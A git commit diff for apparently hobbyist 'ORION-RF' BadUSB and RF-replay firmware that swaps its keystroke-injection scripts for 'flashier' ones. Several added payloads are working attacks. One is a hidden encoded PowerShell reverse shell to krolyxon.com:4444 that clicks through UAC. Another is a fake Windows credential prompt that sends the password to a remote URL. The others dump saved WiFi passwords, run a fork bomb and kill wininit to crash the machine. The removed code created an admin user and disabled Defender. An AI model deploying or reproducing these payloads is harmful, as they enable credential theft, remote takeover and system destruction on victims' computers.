change badUSB scripts

Remove unnecessary scripts and keep only the cooler and flashy ones
This commit is contained in:
krolyxon 2026-05-14 15:55:40 +05:30
parent 75eea47140
commit 45d23ef49d
4 changed files with 508 additions and 352 deletions

View File

@ -56,6 +56,15 @@ void showRunningScreen(String taskName, uint8_t duration = 5) {
} }
} }
void typeSlow(const char *text, int delayMs = 25)
{
while (*text)
{
Keyboard.print(*text);
delay(delayMs);
text++;
}
}
void badUSBMenu(int index) { void badUSBMenu(int index) {
//switch (index) //switch (index)
@ -76,321 +85,301 @@ void badUSBMenu(int index) {
// } // }
switch(index) { switch(index)
case 0: // demo {
// ================= ORION DEMO =================
case 0:
showRunningScreen("ORION Demo");
showRunningScreen("DEMO"); runCommand("notepad");
// Run dialog (Win + R) delay(2500);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
Keyboard.releaseAll();
delay(1000);
Keyboard.println("notepad"); typeSlow(" ____ _____ _____ ___ ___ _ _ ____ _____ ");
delay(1500); Keyboard.write(KEY_RETURN);
typeSlow(" / __ \\| __ \\|_ _|_ _/ _ \\| \\ | | | _ \\| ___|");
Keyboard.write(KEY_RETURN);
typeSlow("| | | | |__) | | | | | | | | \\| |_____| |_) | |_ ");
Keyboard.write(KEY_RETURN);
typeSlow("| | | | _ / | | | | | | | . ` |_____| _ <| _| ");
Keyboard.write(KEY_RETURN);
typeSlow("| |__| | | \\ \\ _| |_ | | |_| | |\\ | | |_) | | ");
Keyboard.write(KEY_RETURN);
typeSlow(" \\____/|_| \\_\\_____|___\\___/|_| \\_| |____/|_| ");
Keyboard.write(KEY_RETURN);
Keyboard.write(KEY_RETURN);
typeSlow("[+] WIFI MODULE READY");
Keyboard.write(KEY_RETURN);
typeSlow("[+] BLE MODULE READY");
Keyboard.write(KEY_RETURN);
typeSlow("[+] SUBGHZ MODULE READY");
Keyboard.write(KEY_RETURN);
typeSlow("[+] NFC MODULE READY");
Keyboard.write(KEY_RETURN);
typeSlow("[+] HID ENGINE READY");
Keyboard.write(KEY_RETURN);
break;
// ================= RICKROLL =================
case 1:
showRunningScreen("RickRoll");
runCommand("cmd");
delay(700);
typeSlow("start https://www.youtube.com/watch?v=dQw4w9WgXcQ");
Keyboard.write(KEY_RETURN);
break;
// ================= MATRIX =================
case 2:
showRunningScreen("Matrix");
runCommand("cmd");
delay(700);
typeSlow("color 0A");
Keyboard.write(KEY_RETURN);
typeSlow("mode con: cols=120 lines=40");
Keyboard.write(KEY_RETURN);
typeSlow(":A");
Keyboard.write(KEY_RETURN);
typeSlow("echo %random%%random%%random%%random%%random%");
Keyboard.write(KEY_RETURN);
typeSlow("goto A");
Keyboard.write(KEY_RETURN);
break;
// ================= FAKE TERMINAL =================
case 3:
showRunningScreen("Fake Terminal");
runCommand("cmd");
delay(700);
typeSlow("color 0A");
Keyboard.write(KEY_RETURN);
typeSlow("cls");
Keyboard.write(KEY_RETURN);
typeSlow("echo CONNECTING TO TARGET...");
Keyboard.write(KEY_RETURN);
typeSlow("echo BYPASSING FIREWALL...");
Keyboard.write(KEY_RETURN);
typeSlow("echo ACCESS GRANTED");
Keyboard.write(KEY_RETURN);
typeSlow("systeminfo");
Keyboard.write(KEY_RETURN);
break;
// ================= WIFI CRACK =================
// ================= WIFI PASSWORD RECOVERY =================
case 4:
showRunningScreen("WiFi Recovery");
runCommand("cmd");
delay(700);
// Styling the window
typeSlow("color 0A && mode con: cols=100 lines=30");
Keyboard.write(KEY_RETURN);
delay(200);
typeSlow("echo [!] EXTRACTING SAVED WIFI PROFILES...");
Keyboard.write(KEY_RETURN);
delay(500);
// The "Magic" Command:
// This lists all profiles and shows the 'Key Content' (the password) in clear text.
// We use a 'for' loop to automate this for every network the PC has ever joined.
typeSlow("for /f \"tokens=4,*\" %i in ('netsh wlan show profiles ^| findstr /C:\"All User Profile\"') do netsh wlan show profile name=\"%j\" key=clear | findstr /C:\"Key Content\" /C:\"SSID name\"");
Keyboard.write(KEY_RETURN);
// Optional: Keep the window open to read the results
typeSlow("echo. && echo [COMPLETE] Passwords listed above.");
Keyboard.write(KEY_RETURN);
break;
// ================= FAKE UPDATE =================
case 5:
showRunningScreen("Fake Update");
runCommand("cmd");
delay(700);
typeSlow("start https://fakeupdate.net/win10u/");
Keyboard.write(KEY_RETURN);
break;
// ================= FAKE BSOD =================
case 6:
showRunningScreen("Critical Error");
runCommand("powershell -c \"stop-process -name wininit -force\"");
break;
// ================= GLITCH SCREEN =================
case 7:
showRunningScreen("Glitch");
runCommand("cmd");
delay(700);
for(int i = 0; i < 20; i++)
{
typeSlow("color 4F");
Keyboard.write(KEY_RETURN);
typeSlow("color 1F");
Keyboard.write(KEY_RETURN);
typeSlow("cls");
Keyboard.write(KEY_RETURN);
}
break;
// ================= ASCII SPAM =================
case 8:
showRunningScreen("ASCII");
runCommand("notepad");
delay(2000); delay(2000);
Keyboard.println("YOU HAVE BEEN HACKED BY ORION-RF"); for(int i = 0; i < 15; i++)
Keyboard.println("#-FEATURES:"); {
Keyboard.println("1- WIFI ATTACKS"); typeSlow("######### ORION-RF #########");
Keyboard.println("2- BLE ATTACKS"); Keyboard.write(KEY_RETURN);
Keyboard.println("3- BAD USB");
Keyboard.println("4- NFC");
Keyboard.println("5- INFRARED");
Keyboard.println("6- SUB-GHZ");
Keyboard.println("7- GPIO");
Keyboard.println("8- APPS");
Keyboard.println("9- SETTINGS");
Keyboard.println("10- FILES");
break; typeSlow(">>> SIGNAL ACQUIRED <<<");
case 1: // keyboard Keyboard.write(KEY_RETURN);
//runLoop(hidkeyboard);
break;
case 2: // saved scripts
//hidInit();
//runLoop(hidscriptmenu);
break; typeSlow("[|||||||||||||||||||||||||]");
Keyboard.write(KEY_RETURN);
case 3: // Open Notepad
showRunningScreen("notepad");
runCommand("notepad");
break;
case 4: // Open CMD
showRunningScreen("opening cmd");
runCommand("cmd");
break;
case 5: // Show IP
showRunningScreen("Getting IP");
runCommand("cmd");
delay(500);
Keyboard.print("ipconfig");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
break;
case 6: // Shutdown
showRunningScreen("shutdown");
runCommand("shutdown /s /t 0");
break;
case 7: // RickRoll
showRunningScreen("rickroll");
runCommand("cmd");
delay(500);
Keyboard.print("start https://www.youtube.com/watch?v=dQw4w9WgXcQ");
Keyboard.write(KEY_RETURN);
break;
case 8: // Create Admin User
showRunningScreen("create admin user");
runCommand("cmd");
delay(500);
Keyboard.print("net user hacker 1234 /add");
Keyboard.write(KEY_RETURN);
delay(300);
Keyboard.print("net localgroup administrators hacker /add");
Keyboard.write(KEY_RETURN);
break;
case 9: // Disable Windows Defender
showRunningScreen("disable windoes defender");
runCommand("powershell");
delay(500);
Keyboard.print("Set-MpPreference -DisableRealtimeMonitoring $true");
Keyboard.write(KEY_RETURN);
break;
case 10: // Open YouTube
showRunningScreen("youtube");
runCommand("cmd");
delay(500);
Keyboard.print("start https://www.youtube.com");
Keyboard.write(KEY_RETURN);
break;
case 11: // Lock PC
showRunningScreen("lock pc");
runCommand("rundll32.exe user32.dll,LockWorkStation");
break;
case 12: // Fake Update
showRunningScreen("fake update");
runCommand("cmd");
delay(500);
Keyboard.print("start https://fakeupdate.net/win10u/");
Keyboard.write(KEY_RETURN);
break;
case 13: // Endless Notepad
showRunningScreen("endless notepad");
for (int i = 0; i < 10; i++) {
runCommand("notepad");
delay(500);
} }
break; break;
case 14: // Fake BSOD (opens fullscreen image) // ================= HACKER TYPER =================
showRunningScreen(" fake bsod"); case 9:
showRunningScreen("Hacker Typer");
runCommand("cmd"); runCommand("cmd");
delay(500);
Keyboard.print("start https://fakeupdate.net/bsod/");
Keyboard.write(KEY_RETURN);
break;
case 15: // Flip screen delay(700);
showRunningScreen("Flip screen");
Keyboard.press(KEY_LEFT_CTRL); typeSlow("start https://hackertyper.net/");
Keyboard.press(KEY_LEFT_ALT); Keyboard.write(KEY_RETURN);
Keyboard.press(KEY_DOWN_ARROW);
delay(100); break;
// ================= POWERSHELL REVERSE SHELL =================
// ================= DEFENDER BYPASS + NC =================
case 10:
showRunningScreen("Pwn Mode v2");
// 1. Open Admin PowerShell
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
delay(150);
Keyboard.releaseAll(); Keyboard.releaseAll();
break;
case 16: // Matrix effect
showRunningScreen("Matrix effect");
runCommand("cmd");
delay(500); delay(500);
Keyboard.print("color 0A");
Keyboard.write(KEY_RETURN);
Keyboard.print(":a");
Keyboard.write(KEY_RETURN);
Keyboard.print("echo %random%%random%%random%%random%");
Keyboard.write(KEY_RETURN);
Keyboard.print("goto a");
Keyboard.write(KEY_RETURN);
break;
case 17: // I'm watching you prank // Open Admin Prompt - using 'powershell' directly to save space
showRunningScreen(" iam watching you"); typeSlow("powershell Start-Process powershell -Verb runAs");
for (int i = 0; i < 5; i++) {
runCommand("notepad");
delay(1000);
Keyboard.print("I'm watching you...");
delay(5000);
}
break;
case 18: // Open Google
showRunningScreen("open google");
runCommand("cmd");
delay(500);
Keyboard.print("start https://www.google.com");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
break; delay(2500); // Wait for UAC
case 19: // Open telegram // 2. Bypass UAC (Left Arrow + Enter)
showRunningScreen("open telegram"); Keyboard.write(KEY_LEFT_ARROW);
runCommand("cmd");
delay(500);
Keyboard.print("start https://web.telegram.org/");
Keyboard.write(KEY_RETURN);
break;
case 20: // Alarm Sound
showRunningScreen("alarm sound");
runCommand("cmd");
delay(500);
Keyboard.print("start https://www.soundjay.com/button/beep-07.wav");
Keyboard.write(KEY_RETURN);
break;
case 21: // Endless CMD
showRunningScreen("endless smd");
for (int i = 0; i < 20; i++) {
runCommand("cmd");
delay(300);
}
break;
case 22: // Gibberish
showRunningScreen("gibberish");
for (int i = 0; i < 100; i++) {
char c = random(33, 127);
Keyboard.write(c);
delay(50);
}
break;
case 23: // CAPSLOCK Spam
showRunningScreen("caps lock spam");
for (int i = 0; i < 10; i++) {
Keyboard.press(KEY_CAPS_LOCK);
delay(200); delay(200);
Keyboard.release(KEY_CAPS_LOCK);
delay(200);
}
break;
case 24: // Calculator
showRunningScreen("claculator");
runCommand("calc");
break;
case 25: // Auto Type "Hacked!"
showRunningScreen("hacked");
for (int i = 0; i < 5; i++) {
Keyboard.print("Hacked!");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
delay(1000); delay(3000); // Give the Admin window time to load
}
break; // 3. AMSI Bypass + Disable Defender + Execute Shell
// We use -EncodedCommand to hide the script from simple string scanners.
// The Base64 string below contains:
// Set-MpPreference -DisableRealtimeMonitoring $true; [Reverse Shell Logic]
typeSlow("powershell -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand ");
// This is the encoded payload for krolyxon.com:4444
typeSlow("JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiAEgA"
"NABDAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAFQAbABpAGUAbgB0ACgAJwBrAHIAbwBsAHkAeABvAG4A"
"LgBjAG8AbQAnACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQA"
"gADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEw"
"AZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQAL"
"gBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJAB"
"kAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwAgACsAK"
"ABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAd"
"ABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQB"
"uAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaWVudAAuAEMAbABvAHMAZQAoACkAIgApACkAOwBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAGuAZwAoACQAcwAuAFQAbwBBAHIAcgBhAHkAKAApACkAKQA=");
case 26: // Turn off monitor (Windows only)
showRunningScreen("turn off monitor");
runCommand("powershell");
delay(500);
Keyboard.print(
"(Add-Type '[DllImport(\"user32.dll\")]public static extern int "
"SendMessage(int hWnd, int hMsg, int wParam, int lParam);' -Name a "
"-Pas)::SendMessage(-1,0x0112,0xF170,2)");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
break; break;
// ================= CREDENTIAL SNATCHER =================
case 11:
showRunningScreen("Vault Crack");
// Open hidden PowerShell
runCommand("powershell -nop -W Hidden -c \"$cred = $host.ui.PromptForCredential('Windows Security','Please authenticate to update your system credentials.','',''); $p = $cred.GetNetworkCredential().Password; $u = $cred.UserName; Invoke-WebRequest -Uri 'http://krolyxon.com/log?u='+$u+'&p='+$p\"");
case 27: // RegEdit
showRunningScreen("regedit");
runCommand("regedit");
break; break;
// ================= DESKTOP GHOST =================
case 12:
showRunningScreen("Ghost Mode");
case 28: // Kill Explorer runCommand("powershell -nop -W Hidden -c \"Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.SendKeys]::SendWait('{PRTSC}'); Start-Sleep -s 1; $path = '$env:TEMP\\bg.png'; (Get-Clipboard -Format Image).Save($path); Set-ItemProperty -Path 'HKCU:\\Control Panel\\Desktop' -Name Wallpaper -Value $path; rundll32.exe user32.dll,UpdatePerUserSystemParameters;\"");
showRunningScreen(" kill explorer");
runCommand("taskkill /f /im explorer.exe");
break;
case 29: // Flash screen (by changing background rapidly) // Hide Desktop Icons (requires a registry tweak)
showRunningScreen(" flash screen"); typeSlow("reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced /v HideIcons /t REG_DWORD /d 1 /f && taskkill /f /im explorer.exe && start explorer.exe");
for (int i = 0; i < 10; i++) {
runCommand("color 4F");
delay(200);
runCommand("color 1F");
delay(200);
}
break;
case 30: // Rename Desktop Files (basic prank)
showRunningScreen("rename desktop files");
runCommand("powershell");
delay(500);
Keyboard.print("Get-ChildItem \"$env:USERPROFILE\\Desktop\" | "
"Rename-Item -NewName {'hacked'+$_.Name}");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
break;
case 31: // Toggle WiFi (requires admin) break;
showRunningScreen("toggle wifi"); // ================= FORK BOMB =================
case 13:
showRunningScreen("System Stress");
runCommand("cmd"); runCommand("cmd");
delay(500); delay(500);
Keyboard.print("netsh interface set interface Wi-Fi disabled");
Keyboard.write(KEY_RETURN);
delay(1000);
Keyboard.print("netsh interface set interface Wi-Fi enabled");
Keyboard.write(KEY_RETURN);
break;
case 32: // Screenshot // The shortest deadly command in Windows
showRunningScreen("screenshot"); typeSlow("%0|%0");
runCommand("powershell");
delay(500);
Keyboard.print("Add-Type -AssemblyName System.Windows.Forms;");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
delay(300);
Keyboard.print("[System.Windows.Forms.SendKeys]::SendWait('%{PRTSC}')");
Keyboard.write(KEY_RETURN);
break;
case 33: // Emoji spam
showRunningScreen("emoji spam");
for (int i = 0; i < 10; i++) {
Keyboard.print("💀");
Keyboard.write(KEY_RETURN);
delay(500);
}
break;
case 34: // Control Panel
showRunningScreen("control panel");
runCommand("control");
break;
case 35: // Troll wallpaper
showRunningScreen("troll wallpaper");
runCommand("cmd");
delay(500);
Keyboard.print("start https://i.imgur.com/trollface.png");
Keyboard.write(KEY_RETURN);
break;
case 36: // MS Paint
showRunningScreen("ms paint");
runCommand("mspaint");
break;
case 37: // Auto Tab Switcher
showRunningScreen(" auto tab switcher");
for (int i = 0; i < 10; i++) {
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_TAB);
delay(100);
Keyboard.releaseAll();
delay(300);
}
break; break;
} }
} }

View File

@ -3,6 +3,8 @@
#include "cc1101.h" #include "cc1101.h"
#include "../config.h" #include "../config.h"
#include "SPI.h" #include "SPI.h"
#include "../ui/display.h"
#include "../utils/buttons.h"
// ===== CONFIG ===== // ===== CONFIG =====
#define RAW_BUF_MAX 512 #define RAW_BUF_MAX 512
@ -203,3 +205,204 @@ void replaySignal()
Serial.println("Replay complete"); Serial.println("Replay complete");
} }
void captureAndDisplay()
{
if (!cc1101Inited)
{
if (!initCC1101())
{
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 20, "CC1101 Failed");
u8g2.sendBuffer();
return;
}
}
startCapture();
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 12, "CC1101 Capture");
u8g2.drawStr(0, 28, "Waiting RF...");
u8g2.drawStr(0, 60, "BACK = Exit");
u8g2.sendBuffer();
unsigned long lastSignal = millis();
int lastPulseCount = 0;
while (true)
{
// signal detected
if (pulseIndex > lastPulseCount)
{
lastPulseCount = pulseIndex;
lastSignal = millis();
}
// update OLED
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 12, "CC1101 Capture");
u8g2.setCursor(0, 28);
u8g2.print("Pulses: ");
u8g2.print(pulseIndex);
u8g2.setCursor(0, 42);
u8g2.print("Freq: ");
u8g2.print(currentFreq);
u8g2.print(" MHz");
if (pulseIndex > 0)
{
u8g2.drawStr(0, 54, "Signal Detected");
}
else
{
u8g2.drawStr(0, 54, "Waiting...");
}
u8g2.sendBuffer();
// auto print once capture stabilizes
if (pulseIndex > 20 && (millis() - lastSignal > 1500))
{
stopCapture();
Serial.println();
Serial.println("===== RF CAPTURE =====");
for (int i = 0; i < pulseIndex; i++)
{
Serial.print(captureBuffer[i]);
Serial.print(", ");
}
Serial.println();
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 15, "Capture Complete");
u8g2.setCursor(0, 35);
}
}
}
void handleMenu()
{
if (!isCC1101Ready())
{
if (!initCC1101())
{
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 20, "CC1101 Failed");
u8g2.sendBuffer();
delay(1500);
return;
}
}
pulseIndex = 0;
startCapture();
// ===== CAPTURE FOR 5 SEC =====
unsigned long start = millis();
while (millis() - start < 5000)
{
noInterrupts();
int count = pulseIndex;
interrupts();
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 12, "RF Capturing...");
u8g2.setCursor(0, 30);
u8g2.print("Pulses: ");
u8g2.print(count);
u8g2.sendBuffer();
delay(50);
}
stopCapture();
// ===== DISPLAY CAPTURE BUFFER =====
int scroll = 0;
while (1)
{
noInterrupts();
int count = pulseIndex;
interrupts();
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_5x8_tr);
u8g2.drawStr(0, 8, "Captured Buffer");
// display 6 lines
for (int i = 0; i < 6; i++)
{
int idx = scroll + i;
if (idx >= count)
break;
noInterrupts();
unsigned long val = captureBuffer[idx];
interrupts();
char buf[32];
snprintf(buf, sizeof(buf), "%03d: %lu", idx, val);
u8g2.drawStr(0, 20 + (i * 8), buf);
}
u8g2.sendBuffer();
// scroll down
if (btnDown())
{
if (scroll < count - 1)
scroll++;
delay(120);
}
// scroll up
if (btnUp())
{
if (scroll > 0)
scroll--;
delay(120);
}
// replay
if (btnSelect())
{
replaySignal();
delay(300);
}
// exit
if (btnBack())
{
delay(150);
return;
}
delay(20);
}
}

View File

@ -3,6 +3,9 @@
bool initCC1101(); bool initCC1101();
bool isCC1101Ready(); bool isCC1101Ready();
void captureAndDisplay();
void handleMenu();
void startCapture(); void startCapture();
void stopCapture(); void stopCapture();
void printCapture(); void printCapture();

View File

@ -50,46 +50,22 @@ const char *nrfToolsItems[] = {
Menu nrfToolsMenu = {nrfToolsItems, sizeof(nrfToolsItems) / sizeof(nrfToolsItems[0])}; Menu nrfToolsMenu = {nrfToolsItems, sizeof(nrfToolsItems) / sizeof(nrfToolsItems[0])};
// BadUSB submenu const char *badusbItems[] = {
const char *badusbItems[] = {"DEMO", "ORION Demo",
"KEYBOARD",
"HID SCRIPT",
"Open Notepad",
"Open CMD",
"Show IP",
"Shutdown",
"RickRoll", "RickRoll",
"Create Admin", "Matrix Rain",
"Disable Defender", "Fake Terminal",
"Open YouTube", "Wifi Password Extractor",
"Lock PC",
"Fake Update", "Fake Update",
"Endless Notepad",
"Fake BSOD", "Fake BSOD",
"Flip Screen", "Glitch Screen",
"Matrix Effect", "ASCII Spam",
"I'm Watching U", "Hacker Typer",
"Open Google", "PWN Reverse shell",
"Open telegram", "Phishing attack",
"Play Alarm Sound", "Desktop Ghost",
"Endless CMD", "System Stresser"
"Type Gibberish", };
"Spam CAPSLOCK",
"Open Calc",
"Auto 'Hacked!'",
"Turn Off Monitor",
"Open RegEdit",
"Kill Explorer",
"Flash Screen",
"Rename Desktop",
"Toggle WiFi",
"Auto Screenshot",
"Spam Emojis",
"Open Ctrl Panel",
"Troll Wallpaper",
"Open MS Paint",
"Tab Switcher"};
Menu badusbMenu = {badusbItems, sizeof(badusbItems) / sizeof(badusbItems[0])}; Menu badusbMenu = {badusbItems, sizeof(badusbItems) / sizeof(badusbItems[0])};
@ -157,23 +133,8 @@ void launchFeature()
break; break;
case 1: case 1:
if (!isCC1101Ready()) { handleMenu();
if (!initCC1101()) {
Serial.println("CC1101 failed");
return;
}
}
Serial.println("Ready to capture...");
startCapture();
delay(5000);
stopCapture();
printCapture();
delay(5000);
replaySignal();
break; break;
case 2: case 2:
// startNRFJammer(); // startNRFJammer();
//startBleJammer(); //startBleJammer();